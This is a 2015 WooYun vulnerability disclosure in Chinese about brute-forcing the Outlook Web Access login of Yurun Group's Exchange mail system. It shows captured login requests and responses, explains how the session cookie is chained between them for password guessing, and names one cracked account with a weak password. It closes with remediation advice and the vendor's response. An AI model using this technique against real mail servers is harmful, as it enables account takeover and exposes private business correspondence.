当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0164434

漏洞标题：雨润集团微软邮件系统设计逻辑缺陷导致敏感信息泄露

相关厂商：雨润集团

漏洞作者： 萨瓦迪卡

提交时间：2015-12-28 00:08

修复时间：2016-02-12 18:49

公开时间：2016-02-12 18:49

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-28： 细节已通知厂商并且等待厂商处理中
2015-12-31： 厂商已经确认，细节仅向厂商公开
2016-01-10： 细节向核心白帽子及相关领域专家公开
2016-01-20： 细节向普通白帽子公开
2016-01-30： 细节向实习白帽子公开
2016-02-12： 细节向公众公开

简要描述：

雨润集团微软邮件系统设计逻辑缺陷导致敏感信息泄露

详细说明：

雨润集团使用的是微软企业邮件系统，在测试过程中发现微软邮件系统爆破方式或者说微软邮件系统处理用户登陆请求的过程比较不同，所以拿出来分享一下。

漏洞证明：

本来准备上传视频 ，无奈智商有限，不太会
1、登陆首页

登陆界面.jpg


2、微软邮件系统处理登陆请求过程分析

和常规不一样，登陆请求一共有两个请求包，两个两个响应包，决定登陆是否成功：
（1）、第一个请求包：
POST /owa/auth/owaauth.dll HTTP/1.1
Host: **.**.**.**
Content-Length: 123
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/owa/auth/logon.aspx?url=http://**.**.**.**/owa/&reason=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
destination=http%3A%2F%2F**.**.**.**%2Fowa%2F&flags=4&forcedownlevel=0&trusted=0&username=admin&password=123456&isUtf8=1
（2）、第一个响应包：
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.2.4
Date: Thu, 24 Dec 2015 14:02:14 GMT
Content-Length: 0
Connection: keep-alive
Location: http://**.**.**.**/owa/
Set-Cookie: sessionid=e9ce68d6-8fec-42a4-9668-e069c273b8a9; path=/
Set-Cookie: cadata="6Rs68V1R/wG/aoN6RnGAe650Mx2TWX/PxL87OkWTxlG0+XWKkEc4Dag=="; HttpOnly; path=/
（3）、第二个请求包：
GET /owa/ HTTP/1.1
Host: **.**.**.**
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Referer: http://**.**.**.**/owa/auth/logon.aspx?url=http://**.**.**.**/owa/&reason=2
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: sessionid=e9ce68d6-8fec-42a4-9668-e069c273b8a9; cadata="6Rs68V1R/wG/aoN6RnGAe650Mx2TWX/PxL87OkWTxlG0+XWKkEc4Dag=="
（4）、第二个响应包：
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.2.4
Date: Thu, 24 Dec 2015 14:02:39 GMT
Content-Length: 0
Connection: keep-alive
Location: http://**.**.**.**/owa/auth/logon.aspx?url=http://**.**.**.**/owa/&reason=2
Set-Cookie: sessionid=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: cadata=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT


分析知道，第二个请求包需要第一个响应包的结果作为请求的参数内容
3、截断第一个请求包

第一个请求包.jpg


4、截断第二个请求包

第二个请求包.jpg


5、第一个响应包正则表达式处理

中间正则匹配.jpg


中间正则匹配2.jpg


6、爆破成功

20151224220955.png


破解成功登陆.jpg


7、大量商业秘密

邮件内容.jpg


邮件内容2.jpg


破解成功的账号密码：liuli/123456(密码已被修改)

修复方案：

1、添加验证码
2、增加锁定机制，锁定IP地址
3、升级微软邮件系统

版权声明：转载请注明来源 萨瓦迪卡@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-12-31 18:15

厂商回复：

CNVD确认所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。

最新状态：

暂无